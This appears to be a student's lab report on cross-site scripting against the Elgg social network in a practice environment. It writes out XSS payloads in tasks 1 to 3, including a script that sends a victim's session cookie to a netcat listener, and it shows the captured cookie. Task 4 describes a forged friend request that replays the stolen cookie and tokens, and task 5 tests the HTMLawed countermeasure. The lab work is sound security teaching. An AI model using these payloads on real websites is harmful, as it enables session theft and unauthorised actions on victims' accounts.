Task 3 XSite

Task 1

- Inserted the <script>alert('XSS');</script> into Alice (which in this case is the attacker) brief description section. Then save it. Then Bobby (in this case the victim) visited Alice website and the alert XSS showed up.

Task 2

- Modified the script above, now prints the Elgg cookie and its value. The logic behind it is the same and Alice remains to be the Attacker and Boby is the victim.

Task 3

- Since we don't have an attacker website, I used the XSSlabelgg.com as our testing website. I used the command `nc -l XSSlabelgg,com:5555 -v` which listen to the local host and the port 5555 and turn on verbosity. Then I added the script `<script>document.write('<img src=http://127.0.0.1:5555?c='+ escape(document.cookie) + ' >');</script>` in Alice's profile. Then I went to Bob y browser and visited Alice website and the `nc` command returns me the following

```
GET /?c=Elgg%3Dbrpr0rb9qpm1k7hogsok8acq14 HTTP/1.1

Host: xsslabelgg.com:5555

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0)

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://xsslabelgg.com/profile/alice
```

```
Cookie: Elgg=brpr0rb9qpm1k7hogsok8acq14

Connection: keep-alive
```

- which the Cookie shown there is from Boby’s browser.

Task 4

- Extending from the previous task, I copied and pasted the cookie into the java code, then obtained the `elgg_ts` and `elgg_token` by using victim’s (boby) and get him go to a random (Charlie) profile. Then Add Friend button contains a src href link of an already generated a valid `elgg_ts` and `elgg_token` for us to use. As those are generated by the server and not used yet. We will use those values As those value remains valid until someone used it. Then I add all the required header to match the required request. Then I pretend to be Alice (The attacker) and ran the Java code with Boby’s Cookie. Boby added Charlie as friend despite did nothing.

```
Response Code = 200

...

<p>You have successfully added Charlie as a friend.</p>

...
```

- this was returned to the terminal. I refresh the page as Boby, and Charlie is now my friend.

Task 5

- By turning on just the HTMLawed 1.8 countermeasure, the line of code in Alice’s profile which is `<script>alert(session_id());</script>` is not executed and a line `// <![CDATA[ alert('XSS'); // ]]>` appeared in and shown underneath the profile for some reason. It disabled the function as it turns into a non script tag data. The script however is not displayed on the profile of Alice.

- By turning on both item, the `<script>alert(session_id());</script>` is displayed as a regular line in the brief description of Alice. The XSS attack also did not ran. And the remain item from previous HTMLawed 1.8 countermeasure is the same.